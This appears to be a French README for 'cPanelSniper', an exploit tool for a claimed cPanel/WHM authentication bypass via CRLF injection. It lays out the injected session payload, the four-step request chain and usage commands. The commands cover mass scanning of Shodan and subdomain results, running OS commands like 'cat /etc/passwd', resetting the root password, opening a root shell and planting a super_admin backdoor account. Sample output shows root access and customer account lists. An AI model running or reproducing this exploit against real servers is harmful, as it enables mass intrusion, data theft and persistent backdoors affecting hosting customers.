Flux normal :
  POST /login/ → filter_sessiondata() → écriture session → vérification auth

Flux vulnérable :
  POST /login/ → écriture session (payload CRLF injecté) → filter_sessiondata() → la vérification auth lit le fichier empoisonné

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

┌─────────────────────────────────────────────────────────────┐
│  Étape 0 — Découverte du nom d'hôte canonique              │
│  GET /openid_connect/cpanelid → 307 → nom d'hôte réel      │
├─────────────────────────────────────────────────────────────┤
│  Étape 1 — Création d'une session pré-authentification     │
│  POST /login/?login_only=1  (mauvais identifiants)         │
│  ← 401 + cookie whostmgrsession                            │
├─────────────────────────────────────────────────────────────┤
│  Étape 2 — Injection CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd écrit les champs CRLF dans le fichier de session   │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Étape 3 — Propagation (gadget do_token_denied)            │
│  GET /scripts2/listaccts                                    │
│  Déclenche le flush raw→cache — les champs injectés deviennent actifs │
│  ← 401 Token refusé (attendu)                              │
├─────────────────────────────────────────────────────────────┤
│  Étape 4 — Vérification de l'accès root WHM                │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

# Cible unique — analyse uniquement
python3 cPanelSniper.py -u https://target.com:2087

# Cible unique — shell interactif après contournement
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Analyse de masse depuis un fichier
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Analyse forcée (ignorer la détection cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

# Lister tous les comptes cPanel du serveur
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Exécuter une commande OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obtenir les informations serveur (nom d'hôte, charge, disque, hôte MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obtenir la version cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Changer le mot de passe root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interactif
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Depuis une liste de périmètre
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Résultats Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Pipe stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Sources multiples combinées
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version : CVE-2026-41940 | Auth : contournement CRLF
  Tapez 'help' pour les commandes, 'exit' pour quitter
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Comptes cPanel]  target.com:2087 (47 utilisateurs)
    user01               domaine : example.com    email : [email protected]
    user02               domaine : shop.com       email : [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Infos serveur]  https://target.com:2087
  hostname : srv01.target.com
  charge : 0.72 / 0.66 / 0.69
  version : 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [ADMIN BACKDOOR CRÉÉ]
  Cible    : https://target.com:2087
  Utilisateur : mitsec
  Mot de passe : P@ss2026!
  Profil   : super_admin

[email protected] ▶ exit

usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

Cible :
  -u, --url URL          URL cible unique (ex. https://host:2087)
  -l, --list LIST        Fichier contenant les URLs (une par ligne)
  --hostname HOSTNAME    Remplacer l'en-tête Host canonique (auto-découvert)

Analyse :
  -t, --threads N        Threads concurrents (défaut : 10)
  --timeout N            Délai d'expiration des requêtes en secondes (défaut : 15)
  --rate-limit N         Délai entre les cibles (défaut : 0)
  --force                Ignorer la vérification de détection cPanel

Post-exploitation :
  --action ACTION        Action : list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          Nouveau mot de passe root (--action passwd)
  --cmd CMD              Commande OS (--action cmd/exec)
  --new-user USER        Nouveau nom d'utilisateur cPanel (--action adduser)
  --new-domain DOMAIN    Nouveau domaine cPanel (--action adduser)

Sortie :
  -o, --output FILE      Enregistrer les résultats dans un fichier JSON
  --no-color             Désactiver les couleurs ANSI

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF
  4 étapes : pré-auth → injection CRLF → propagation → vérification → post-exploitation
  Dans la nature | CVSS 10.0 | Par Mitsec (@ynsmroztas)

  Configuration :
   Cibles   : 1
   Threads  : 10
   Délai    : 15s
   Action   : list

14:46:22 [SCAN] Démarrage de la chaîne d'exploitation en 4 étapes... https://target.com:2087
14:46:23 [INFO] Nom d'hôte canonique découvert : srv01.target.com
14:46:23 [STEP] Étape 1/4 — Création de la session pré-auth...
14:46:23 [  OK] Étape 1 : session pré-auth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Étape 2/4 — Injection CRLF via l'en-tête Authorization...
14:46:24 [  OK] Étape 2 : HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Étape 3/4 — Déclenchement du gadget do_token_denied (raw→cache)...
14:46:25 [  OK] Étape 3 : HTTP 401 — gadget do_token_denied déclenché
14:46:25 [STEP] Étape 4/4 — Vérification de l'accès root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMÉE — accès root WHM !
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Version  : 11.130.0.6
14:46:26 [PWND]   URL API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Exécution de l'action post-exploitation : list
14:46:27 [ API] listaccts → HTTP 200

  [Comptes cPanel]  target.com:2087 (47 comptes)
    client01    domaine : client01.com    email : [email protected]
    client02    domaine : client02.net    email : [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Analyse terminée
  Temps : 5.8s  ·  Cibles : 1

  ⚡ 1 CIBLE(S) VULNÉRABLE(S)

  Cible    : https://target.com:2087
  Version  : 11.130.0.6
  Token    : /cpsess8493537756
  URL API  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- hash ob (supprimé)
                              +-- nom de session (utilisé pour l'injection)